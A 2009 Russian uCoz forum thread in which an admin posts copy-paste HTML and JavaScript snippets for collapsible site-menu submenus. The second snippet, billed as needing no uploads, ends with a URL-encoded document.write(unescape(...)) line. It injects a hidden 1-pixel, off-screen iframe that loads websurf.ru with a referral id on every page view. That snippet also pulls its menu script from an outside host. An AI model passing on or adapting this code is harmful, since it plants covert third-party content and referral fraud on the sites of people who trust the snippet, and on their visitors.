Вторник, 2024-04-23, 7:28 PM
Игры и программы без установки Portable
Главная Регистрация Вход
Приветствую Вас, Гость · RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
ФОРУМ портала DM_55 » САЙТЫ, WEB-ДИЗАЙН, СКРИПТЫ, КОМПЬЮТЕРЫ » СКРИПТЫ ДЛЯ uCoZ » Подменю для пунктов меню сайта uCoZ
Подменю для пунктов меню сайта uCoZ
DM_55Дата: Воскресенье, 2009-03-15, 2:34 AM | Сообщение # 1
=сайт админ=
Группа: Администраторы
Сообщений: 292
Репутация: 5555
Статус: Offline
Ставим этот код в шаблон Общие шаблоны - Меню сайта
Code
<div id="menuDiv" style="display:inline">  

<ul id="tmenu0" style="display:none">                             

<li class="m">  
<span>Раздел номер 1</span>                     
<ul>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru">Подраздел номер 1</a></li>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 2</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 3</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 4</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 5</a></li>  
</ul>  
</li>  

<li class="m">  
<span>Раздел номер 2</span>                     
<ul>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 1</a></li>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 2</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 3</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru">Подраздел номер 4</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 5</a></li>  
</ul>  
</li>  

<li class="m">  
<span>Раздел номер 3</span>                     
<ul>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 1</a></li>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 2</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 3</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 4</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 5</a></li>  
</ul>  
</li>  

<li class="m">  
<span>Раздел номер 4</span>                     
<ul>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 1</a></li>                     
<li class="m"><a class="m" href="http://megasoft.3dn.ru">Подраздел номер 2</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 3</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 4</a></li>  
<li class="m"><a class="m" href="http://megasoft.3dn.ru/">Подраздел номер 5</a></li>  
</ul>  
</li>  

</ul>  
</div>  

<script type="text/javascript">  
function tmenudata0()  
{  
    this.animation_jump = 15  
    this.animation_delay = 2  
    this.imgage_gap = 3  
    this.plus_image = "plus.gif"  
    this.minus_image = "minus.gif"  
    this.pm_width_height = "10,10"  
    this.icon_width_height = "16,16"  
    this.indent = 20;    
    this.use_hand_cursor = true;    
    this.main_item_styles = "text-decoration:none; \  
    font-weight:normal; \  
    font-family:Arial; \  
    font-size:14px; \  
    color:#FF0000; \  
    padding:2px; "  
    this.sub_item_styles = "text-decoration:none; \  
    font-weight:normal; \  
    font-family:Arial; \  
    font-size:12px; \  
    color:#807F80; "  
    this.main_container_styles = "padding:0px;"  
    this.sub_container_styles = "padding-top:4px; padding-bottom:4px;"  
    this.main_link_styles = "color:#0000FF; text-decoration:none;"  
    this.main_link_hover_styles = "color:#FF0000; text-decoration:underline;"  
    this.sub_link_styles = ""  
    this.sub_link_hover_styles = ""  
    this.main_expander_hover_styles = "text-decoration:underline;";  
    this.sub_expander_hover_styles = "";}  
</script>    

<script type="text/javascript">  
ulm_ie=window.showHelp;ulm_opera=window.opera;ulm_strict=((ulm_ie || ulm_opera)&&(document.compatMode=="CSS1Compat")); ulm_mac=navigator.userAgent.indexOf("Mac")+1;is_animating=false; cc3=new Object();cc4=new Object();    
cc0=document.getElementsByTagName("UL");for(mi=0;mi<cc0.length; mi++){if(cc1=cc0[mi].id){if(cc1.indexOf("tmenu")>-1){cc1=cc1.substring(5); cc2=new window["tmenudata"+cc1];cc3["img"+cc1]=new Image();cc3["img"+cc1].src=cc2.plus_image;cc4["img"+cc1]=new Image(); cc4["img"+cc1].src=cc2.minus_image;if(!(ulm_mac && ulm_ie)){t_cc9=cc0[mi].getElementsByTagName("UL");for(mj=0;mj<t_cc9.length; mj++){cc23=document.createElement("DIV");cc23.className="uldivs"; cc23.appendChild(t_cc9[mj].cloneNode(1));t_cc9[mj].parentNode.replaceChild(cc23,t_cc9[mj]); }}cc5(cc0[mi].childNodes,cc1+"_",cc2,cc1); cc6(cc1,cc2);cc0[mi].style.display="block"; }}};function cc5(cc9,cc10,cc2,cc11){eval("cc8=new Array("+cc2.pm_width_height+")");this.cc7=0;for(this.li=0;this.li<cc9.length; this.li++){if(cc9[this.li].tagName=="LI"){this.level=cc10.split("_").length-1; cc9[this.li].style.cursor="default";this.cc12=false;this.cc13=cc9[this.li].childNodes; for(this.ti=0;this.ti<this.cc13.length;this.ti++){lookfor="DIV"; if(ulm_mac && ulm_ie)lookfor="UL";if(this.cc13[this.ti].tagName==lookfor){this.tfs=this.cc13[this.ti].firstChild; if(ulm_mac && ulm_ie)this.tfs=this.cc13[this.ti];this.usource=cc3["img"+cc11].src; if((gev=cc9[this.li].getAttribute("expanded"))&&(parseInt(gev))){this.usource=cc4["img"+cc11].src; }else this.tfs.style.display="none";if(cc2.folder_image){create_images(cc2,cc11,cc2.icon_width_height,cc2.folder_image,cc9[this.li]); this.ti=this.ti+2;}this.cc14=document.createElement("IMG");this.cc14.setAttribute("width",cc8[0]); this.cc14.setAttribute("height",cc8[1]);this.cc14.className="plusminus"; this.cc14.src=this.usource;this.cc14.onclick=cc16;this.cc14.onselectstart=function(){return false}; this.cc14.setAttribute("cc2_id",cc11);this.cc15=document.createElement("div"); this.cc15.style.display="inline";this.cc15.style.paddingLeft=cc2.imgage_gap+"px"; cc9[this.li].insertBefore(this.cc15,cc9[this.li].firstChild); cc9[this.li].insertBefore(this.cc14,cc9[this.li].firstChild); this.ti+=2;new cc5(this.tfs.childNodes,cc10+this.cc7+"_",cc2,cc11);this.cc12=1; }else if(this.cc13[this.ti].tagName=="SPAN"){this.cc13[this.ti].onselectstart=function(){return false}; this.cc13[this.ti].onclick=cc16;this.cc13[this.ti].setAttribute("cc2_id",cc11); this.cname="cc24";if(this.level>1)this.cname="cc25";if(this.level> 1)this.cc13[this.ti].onmouseover=function(){this.className="cc25"; };else this.cc13[this.ti].onmouseover=function(){this.className="cc24"; };this.cc13[this.ti].onmouseout=function(){this.className="";}; }}if(!this.cc12){if(cc2.document_image){create_images(cc2,cc11,cc2.icon_width_height,cc2.document_image,cc9[this.li]); }this.cc15=document.createElement("div");this.cc15.style.display="inline"; if(ulm_ie)this.cc15.style.width=cc2.imgage_gap+cc8[0]+"px";else this.cc15.style.paddingLeft=cc2.imgage_gap+cc8[0]+"px"; cc9[this.li].insertBefore(this.cc15,cc9[this.li].firstChild);}this.cc7++; }}};function create_images(cc2,cc11,iwh,iname,liobj){eval("tary=new Array("+iwh+")");this.cc15=document.createElement("div");this.cc15.style.display="inline"; this.cc15.style.paddingLeft=cc2.imgage_gap+"px"; liobj.insertBefore(this.cc15,liobj.firstChild); this.fi=document.createElement("IMG");this.fi.setAttribute("width",tary[0]); this.fi.setAttribute("height",tary[1]);this.fi.setAttribute("cc2_id",cc11); this.fi.className="plusminus";this.fi.src=iname;this.fi.style.verticalAlign="middle"; this.fi.onclick=cc16;liobj.insertBefore(this.fi,liobj.firstChild); };function cc16(){if(is_animating)return;cc18=this.getAttribute("cc2_id"); cc2=new window["tmenudata"+cc18];cc17=this.parentNode.getElementsByTagName("UL"); if(parseInt(this.parentNode.getAttribute("expanded"))){this.parentNode.setAttribute("expanded",0); if(ulm_mac && ulm_ie){cc17[0].style.display="none";}else {cc27=cc17[0].parentNode;cc27.style.overflow="hidden";cc26=cc27; cc27.style.height=cc17[0].offsetHeight;cc27.style.position="relative"; cc17[0].style.position="relative";is_animating=1;setTimeout("cc29("+(-cc2.animation_jump)+",false,"+cc2.animation_delay+")",0); }this.parentNode.firstChild.src=cc3["img"+cc18].src;}else {this.parentNode.setAttribute("expanded",1);if(ulm_mac && ulm_ie){cc17[0].style.display="block";}else {cc27=cc17[0].parentNode;cc27.style.height="1px";cc27.style.overflow="hidden"; cc27.style.position="relative";cc26=cc27;cc17[0].style.position="relative"; cc17[0].style.display="block";cc28=cc17[0].offsetHeight;cc17[0].style.top=-cc28+"px"; is_animating=1;setTimeout("cc29("+cc2.animation_jump+",1,"+cc2.animation_delay+")",0); }this.parentNode.firstChild.src=cc4["img"+cc18].src;}};function cc29(inc,expand,delay){cc26.style.height=(cc26.offsetHeight+inc)+"px"; cc26.firstChild.style.top=(cc26.firstChild.offsetTop+inc)+"px"; if( (expand &&(cc26.offsetHeight<(cc28)))||(!expand &&(cc26.offsetHeight>Math.abs(inc))) )setTimeout("cc29("+inc+","+expand+","+delay+")",delay);else {if(expand){cc26.style.overflow="visible"; if((ulm_ie)||(ulm_opera && !ulm_strict))cc26.style.height="0px";else cc26.style.height="auto";cc26.firstChild.style.top=0+"px";}else {cc26.firstChild.style.display="none"; cc26.style.height="0px";}is_animating=false;}};function cc6(id,cc2){np_refix="#tmenu"+id;cc20="<style type='text/css'>";cc19="";if(ulm_ie)cc19="height:0px;font-size:1px; ";cc20+=np_refix+" {width:100%;"+cc19+"-moz-user-select:none;margin:0px;padding:0px; list-style:none;"+cc2.main_container_styles+"}";cc20+=np_refix+" li{white-space:nowrap; list-style:none;margin:0px;padding:0px;"+cc2.main_item_styles+"}"; cc20+=np_refix+" ul li{"+cc2.sub_item_styles+"}";cc20+=np_refix+" ul{list-style:none;margin:0px;padding:0px;padding-left:"+cc2.indent+"px; "+cc2.sub_container_styles+"}";cc20+=np_refix+" a{"+cc2.main_link_styles+"}";cc20+=np_refix+" a:hover{"+cc2.main_link_hover_styles+"}";cc20+=np_refix+" ul a{"+cc2.sub_link_styles+"}";cc20+=np_refix+" ul a:hover{"+cc2.sub_link_hover_styles+"}";cc20+=".cc24 {"+cc2.main_expander_hover_styles+"}";if(cc2.sub_expander_hover_styles)cc20+=".cc25 {"+cc2.sub_expander_hover_styles+"}"; else cc20+=".cc25 {"+cc2.main_expander_hover_styles+"}";if(cc2.use_hand_cursor)cc20+=np_refix+" li span,.plusminus{cursor:hand; cursor:pointer;}";else cc20+=np_refix+" li span,.plusminus{cursor:default;}";document.write(cc20+"</style> ");}  
</script>    

<script type="text/javascript">try { var nl=document.getElementById('menuDiv').getElementsByTagName('a'); var found=-1; var url=document.location.href+'/'; var len=0; for (var i=0;i<nl.length;i++){ if (url.indexOf(nl[i].href)>=0){ if (found==-1 || len<nl[i].href.length){ found=i; len=nl[i].href.length; } } } if (found>=0){ nl[found].className='ma'; } } catch(e){}</script>

ИЛИ

изменённый код
ничего закачивать на свой сайт не нужно!

Code
<div style="display:inline;" id="menuDiv"><ul id="tmenu0" style="margin-left:4px">    
<ul>    

<li class="expanded"><span style="font-weight:bold">вверхная Ссылка[1]</span>    
<ul>    
     <li><a class="m" href="Ссылка[1]">Ссылка[1]</a></li>    
     <li><a href="Ссылка[2]">Ссылка[2]</a></li>    
     <li><a class="m" href="Ссылка[3]">Ссылка[3]</a></li>    
</ul></li>    
<li><span style="font-weight:bold">вверхная Ссылка[2]</span>    
<ul>    
     <li><a class="m" href="Ссылка[1]">Ссылка[1]</a></li>    
     <li><a href="Ссылка[2]">Ссылка[2]</a></li>    
     <li><a class="m" href="Ссылка[3]">Ссылка[3]</a></li>    
</ul></li>  
<script type="text/javascript">    
//<![CDATA[    
var li = document.getElementById('tmenu0').getElementsByTagName('li');    
for(i in li) if(li[i].className=='expanded') li[i].setAttribute('expanded','1');    
function tmenudata0() {    
     this.animation_jump = 5    
     this.animation_delay = 2    
     this.imgage_gap = 3    
     this.plus_image = "http://aviator.at.ua/menu/plus_fav.gif"    
     this.minus_image = "http://aviator.at.ua/menu/minus_fav.gif"    
     this.pm_width_height = "14,14"    
     this.folder_image = "http://aviator.at.ua/menu/folder.gif"    
     this.document_image = "http://aviator.at.ua/menu/n_st.gif"    
     this.icon_width_height = "16,16"    
     this.icon_width2_height2 = "11,6"    
     this.indent = 10;     

     this.use_hand_cursor = true;     
     this.main_item_styles = "text-decoration:none; font-weight:normal; font-family:Arial; font-size:12px; color:#gold; padding:2px; "    
     this.sub_item_styles = "text-decoration:none; font-weight:normal; font-family:Arial; font-size:12px; color:#333333; "    
     this.main_container_styles = "padding:0px;"    
     this.sub_container_styles = "padding-top:1px; padding-bottom:1px;"    
     this.main_link_styles = "color:#ffffff; text-decoration:none;"    
     this.main_link_hover_styles = "color:#A98579; text-decoration:underline;"    
     this.sub_link_styles = ""    
     this.sub_link_hover_styles = ""    
     this.main_expander_hover_styles = "text-decoration:underline;";    
     this.sub_expander_hover_styles = "";    
}    
//]]>    
</script>    
<script src="http://aviator.at.ua/menu/jsMenu.js" type="text/javascript"></script></div><script type="text/javascript">try { var nl=document.getElementById('menuDiv').getElementsByTagName('a'); var found=-1; var url=document.location.href+'/'; var len=0; for (var i=0;i<nl.length;i++){ if (url.indexOf(nl[i].href)>=0){ if (found==-1 || len<nl[i].href.length){ found=i; len=nl[i].href.length; } } } if (found>=0){ nl[found].className='ma'; } } catch(e){}</script><script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C   %21%2D%2D%0D%0A%76%61%72%20%68%74%6D%6C%31%20%3D%20%27%27%3B%0D%0A%68%74%6D%6C%31%20%2B%3D%20%27%3C%69%66%72%27%20%2B%20%27%61%6D%65%20%73%7   2%63%3D%22%68%74%74%70%3A%2F%2F%77%65%62%73%75%72%66%2E%72%75%2F%3F%72%65%66%3D%32%36%37%38%33%27%3B%0D%0A%68%74%6D%6C%31%20%2B%3D%20%27%22%   73%74%79%6C%65%3D%22%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%27%3B%0D%0A%68%74%6D%6C%31%20%2B%3D%20%27%6C%65%66%74%3A%2D%31%31   %70%78%3B%74%6F%70%3A%2D%31%31%70%78%3B%77%69%64%74%68%3A%31%70%78%3B%68%65%69%67%68%74%3A%31%70%78%3B%22%3E%27%3B%0D%0A%68%74%6D%6C%31%20%2   B%3D%20%27%3C%2F%69%66%72%27%20%2B%20%27%61%6D%65%3E%27%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%68%74%6D%6C%31%29%3B%0D%0A%2D%   2D%3E%3C%2F%73%63%72%69%70%74%3E'))</script>    
</ul>


-=выложи файл в интернете - получи денежку!=-
 
DM_55Дата: Среда, 2009-03-25, 11:01 PM | Сообщение # 2
=сайт админ=
Группа: Администраторы
Сообщений: 292
Репутация: 5555
Статус: Offline
Выдвижное меню.

заменяем код меню сайта в управлении дизайном сайта на:

Code
<div style="display: inline;" id="menuDiv"><!-- UcoZMenu --><img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="ma" href="http://kz-love.p.ru/"> Главная</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a href="/forum"> Форум</a><br>  
<script language="JavaScript">  
function show(obj) {  
if (document.getElementById(obj).style.display == 'none')  
document.getElementById(obj).style.display = 'block';  
else document.getElementById(obj).style.display = 'none';  
}  
</script>  

<span class="newmenu" onclick="show('sub1')">  
<a onclick="return false"><img src="http://kz-love.pp.ru/Kzlove/folder.gif" border="0"> Фильмы онлайн</a>  

</span>  

<span class="sub" id="sub1" style="display: none;">  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Боевики</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Ужасы</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://www.3ucoz.ru/publ/4"> Фантастика</a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Трилеры</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Комедии</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Анимэ</a><br>  
</span><br>  

<span class="newmenu" onclick="show('sub2')">  
<a onclick="return false"><img src="http://kz-love.pp.ru/Kzlove/folder.gif" border="0"> Программы</a>  
</span>  
<span class="sub" id="sub2" style="display: none;">  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Мультимедиа </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Графика и дизайн </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Текст </a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> безопасность</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Интернет</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Софт </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Русификаторы </a><br>  

</span><br>  

<span class="newmenu" onclick="show('sub3')">  
<a onclick="return false"><img src="http://kz-love.pp.ru/Kzlove/folder.gif" border="0"> Все для uCoz</a>  
</span>  
<span class="sub" id="sub3" style="display: none;">  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Вопросы о uCoz</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://www.3ucoz.ru/forum/31"> Скрипты для uCoz</a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Шаблоны для uCoz </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Кнопки для форума</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Иконки для форума </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Ранги</a><br>  

</span><br>  

<span class="newmenu" onclick="show('sub5')">  
<a onclick="return false"><img src="http://kz-love.pp.ru/Kzlove/folder.gif" border="0"> Все для Photoshop </a>  
</span>  
<span class="sub" id="sub5" style="display: none;">  

<img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"><a href="http://kz-love.pp.ru/"> Уроки по Photoshop </a><br>  
<img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"><a href="http://kz-love.pp.ru/"> Форум Photoshop</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://www.3ucoz.ru/load/34"> Photoshop </a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Кисти</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Шрифты </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Плагины</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Стили</a><br>  

</span><br>  

<span class="newmenu" onclick="show('sub4')">  
<a onclick="return false"><img src="http://kz-love.pp.ru/Kzlove/folder.gif" border="0"> Counter Strike</a>  
</span>  
<span class="sub" id="sub4" style="display: none;">  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/1"> Готовые сервера </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Demosection</a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> CS Programs</a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Plugins </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Mods </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Bots </a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Cheats </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Anti-cheats </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Sounds </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Patch </a><br>  

    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Sprites </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Configs </a><br>  
    <img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"> <a class="Level2" href="http://kz-love.pp.ru/"> Maps</a><br>  
</span><br>  
<span class="newmenu" onclick="show('sub6')">  

<a onclick="return false"><img src="http://kz-love.pp.ru/Kzlove/folder.gif" border="0"> Игры </a>  
</span>  
<span class="sub" id="sub6" style="display: none;">  

<img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"><a href="http://kz-love.pp.ru/"> Патчи к играм </a><br>  
<img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"><a href="http://kz-love.pp.ru/"> Русификаторы к играм</a><br>  
<img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"><a href="http://kz-love.pp.ru/"> Программы для игр </a><br>  
<img src="http://kz-love.pp.ru/Kzlove/folderopen.gif"><a href="hhttp://kz-love.pp.ru/"> Скачать игру</a><br>  

</span><br>


-=выложи файл в интернете - получи денежку!=-
 
DM_55Дата: Четверг, 2009-03-26, 10:49 AM | Сообщение # 3
=сайт админ=
Группа: Администраторы
Сообщений: 292
Репутация: 5555
Статус: Offline
uCoz меню с подразделами, подпунктами.
код РАБОЧИЙ, проверенный

Заменяем/ добавляем код меню сайта в "управлении дизайном сайта" на этот:

Code
<div style="display:inline;" id="menuDiv"><ul id="tmenu0" style="margin-left:4px">    

<li><span style="font-weight:bold"><a href="/photo/5">Пейзажи</a></span>
<ul>    
<li><a href="/photo/1">вода</a></li>
<li><a href="/photo/2">вода горы</a></li>
<li><a href="/photo/11">вода закаты</a></li>
<li><a href="/photo/12">водопады</a></li>
<li><a href="/photo/13">горы</a></li>
<li><a href="/photo/14">камни</a></li>
<li><a href="/photo/15">лес</a></li>
<li><a href="/photo/16">лес и вода</a></li>
<li><a href="/photo/17">небо</a></li>
<li><a href="/photo/18">небо закаты</a></li>
<li><a href="/photo/19">огонь</a></li>
<li><a href="/photo/21">поля равнины</a></li>
<li><a href="/photo/22">пустыни</a></li>
<li><a href="/photo/23">сады</a></li>
<li><a href="/photo/24">снег и лед</a></li>
<li><a href="/photo/25">стихия</a></li>
</ul></li>    

<li><span style="font-weight:bold"><a href="/photo/6">Постройки</a></span>
<ul>    
<li><a href="/photo/26">города</a></li>
<li><a href="/photo/3">здания</a></li>
<li><a href="/photo/27">древность</a></li>
<li><a href="/photo/28">замки</a></li>
<li><a href="/photo/30">отели</a></li>
</ul></li>

<li><span style="font-weight:bold"><a href="/photo/7">Растения</a></span>
<ul>    
<li><a href="/photo/4">деревья</a></li>    
<li><a href="/photo/31">цветы</a></li>
</ul></li>

<li><span style="font-weight:bold"><a href="/photo/43">Люди</a></span>
<ul>
<li><a href="/photo/44">портрет</a></li>
<li><a href="/photo/45">семья</a></li>
</ul></li>

<li><span style="font-weight:bold"><a href="/photo/8">Животные</a></span>
<ul>    
<li><a href="/photo/32">бабочки</a></li>
<li><a href="/photo/33">водоплавающие</a></li>
<li><a href="/photo/34">грызуны</a></li>
<li><a href="/photo/35">кони, лошади</a></li>
<li><a href="/photo/36">кошки</a></li>
<li><a href="/photo/37">кролики</a></li>
<li><a href="/photo/38">насекомые</a></li>
<li><a href="/photo/39">парнокопытные</a></li>
<li><a href="/photo/40">птицы</a></li>
<li><a href="/photo/41">собаки</a></li>
<li><a href="/photo/42">разные</a></li>
</ul></li>

<li><span style="font-weight:bold"><a href="/photo/10">Разное</a></span>
<ul>    
<li><a href="/photo/46">разное</a></li>
</ul></li>

<script type="text/javascript">    
//<![CDATA[    
var li = document.getElementById('tmenu0').getElementsByTagName('li');    
for(i in li) if(li[i].className=='expanded') li[i].setAttribute('expanded','1');    
function tmenudata0() {    
this.animation_jump = 15
this.animation_delay = 2
this.imgage_gap = 3    
this.plus_image = "/menu/plus_fav.gif"    
this.minus_image = "/menu/minus_fav.gif"    
this.pm_width_height = "14,14"    
this.folder_image = "/menu/folder.gif"    
this.document_image = "/menu/n_st.gif"    
this.icon_width_height = "16,16"    
this.icon_width2_height2 = "11,6"    
this.indent = 10;    

this.use_hand_cursor = true;    
this.main_item_styles = "text-decoration:none; font-weight:normal; font-family:Arial; font-size:12px; color:#gold; padding:2px; "    
this.sub_item_styles = "text-decoration:none; font-weight:normal; font-family:Arial; font-size:12px; color:#333333; "    
this.main_container_styles = "padding:0px;"    
this.sub_container_styles = "padding-top:1px; padding-bottom:1px;"    
this.main_link_styles = "color:#ffffff; text-decoration:none;"    
this.main_link_hover_styles = "color:#A98579; text-decoration:underline;"    
this.sub_link_styles = ""    
this.sub_link_hover_styles = ""    
this.main_expander_hover_styles = "text-decoration:underline;";    
this.sub_expander_hover_styles = "";    
}    
//]]>    
</script>    
<script src="/menu/jsMenu.js" type="text/javascript"></script></div><script type="text/javascript">try { var nl=document.getElementById('menuDiv').getElementsByTagName('a'); var found=-1; var url=document.location.href+'/'; var len=0; for (var i=0;i<nl.length;i++){ if (url.indexOf(nl[i].href)>=0){ if (found==-1 || len<nl[i].href.length){ found=i; len=nl[i].href.length; } } } if (found>=0){ nl[found].className='ma'; } } catch(e){}</script>    
</ul>

Чтобы каталог был открыт по умолчанию, требуется код: <li class="expanded"><span style="font-weight:bold">меню</span>
Чтобы каталог был закрыт по умолчанию, требуется код: <LI><SPAN style="font-weight:bold">меню</SPAN>

скачиваем архив:
Доступно только для пользователей
и помещаем в корень сайта все файлы в папку "menu"


-=выложи файл в интернете - получи денежку!=-
 
ФОРУМ портала DM_55 » САЙТЫ, WEB-ДИЗАЙН, СКРИПТЫ, КОМПЬЮТЕРЫ » СКРИПТЫ ДЛЯ uCoZ » Подменю для пунктов меню сайта uCoZ
  • Страница 1 из 1
  • 1
Поиск:

Хостинг от uCoz